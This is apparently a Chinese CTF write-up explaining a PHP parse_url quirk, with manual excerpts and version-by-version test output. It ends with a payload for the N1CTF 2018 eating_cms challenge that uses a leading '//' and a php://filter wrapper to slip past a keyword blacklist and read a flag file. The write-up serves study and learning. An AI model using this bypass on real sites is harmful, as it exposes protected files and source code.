parse_url解析漏洞
Pause_url
parse_url — 解析 URL,返回其组成部分
1
| parse_url ( string $url [, int $component = -1 ] ) : mixed
|
本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
本函数不是用来验证给定 URL 的合法性的,只是将其分解为下面列出的部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。
更新日志
版本 说明
5.4.7 修复了 host 在 协议 省略时的识别。
5.3.3 在 URL 解析失败时将不会产生 E_WARNING 级别的错误。
5.1.2 增加了参数 component。
范例
Example #1 parse_url() 例子
1 2 3 4 5
| <?php $url = 'http://username:password@hostname/path?arg=value#anchor'; print_r(parse_url($url)); echo parse_url($url, PHP_URL_PATH); ?>
|
以上例程会输出:
1 2 3 4 5 6 7 8 9 10 11
| Array ( [scheme] => http [host] => hostname [user] => username [pass] => password [path] => /path [query] => arg=value [fragment] => anchor ) /path
|
Example #2 parse_url() 解析丢失协议的例子
1 2 3 4 5 6
| <?php $url = '//www.example.com/path?googleguy=googley';
// 在 5.4.7 之前这会输出路径 "//www.example.com/path" var_dump(parse_url($url)); ?>
|
以上例程会输出:
1 2 3 4 5 6 7 8
| array(3) { ["host"]=> string(15) "www.example.com" ["path"]=> string(5) "/path" ["query"]=> string(17) "googleguy=googley" }
|
以上是php手册中的介绍
测试代码
1 2 3 4 5 6 7 8 9
| <?php echo PHP_VERSION.'<p>'; echo $_SERVER["REQUEST_URI"].'<p>'; $url = '/user.php?page =keyword'; $url = '//user.php?page =keyword'; $url = '///user.php?page =keyword'; $uri = parse_url($url); var_dump($uri); ?>
|
测试结果
Php5.3.29(5.4.7之前)
1 2 3 4 5 6 7 8
| array(2) { ["path"]=> string(9) "/user.php" string(10) "//user.php" string(11) "///user.php" ["query"]=> string(12) "page=keyword" }
|
Php5.5.38
1 2 3 4 5 6
| array(2) { ["path"]=> string(9) "/user.php" ["query"]=> string(12) "page=keyword" }
|
1 2 3 4 5 6
| array(2) { ["host"]=> string(8) "user.php" ["query"]=> string(12) "page=keyword" }
|
user.php会被解析成host,而page=keyword会被解析成 query
///user.php?page=keyword导致解析失败
bool(false)
测试结果
1 2 3 4 5 6
| 5.4.45<p><br><p>array(2) { ["path"]=> string(9) "/user.php" ["query"]=> string(56) "page=php://filter/convert.base64-encode/resource=keyword" }
|
1 2 3 4 5 6
| 5.4.45<p><p>array(2) { ["host"]=> string(17) "user.php?page=php" ["path"]=> string(47) "//filter/convert.base64-encode/resource=keyword" }
|
因此当php版本号较高时,且使用parse_url函数解析参数时,可能会存在//绕过黑名单的情况。
实例[N1CTF 2018]eating_cms
黑名单过滤了需要读取的文件,发现php版本较高且存在parse_url解析传入数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function filter_directory() { $keywords = ["flag","manage","ffffllllaaaaggg"]; $uri = parse_url($_SERVER["REQUEST_URI"]); parse_str($uri['query'], $query); // var_dump($query); // die(); foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
|
Payload:
1
| //user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
|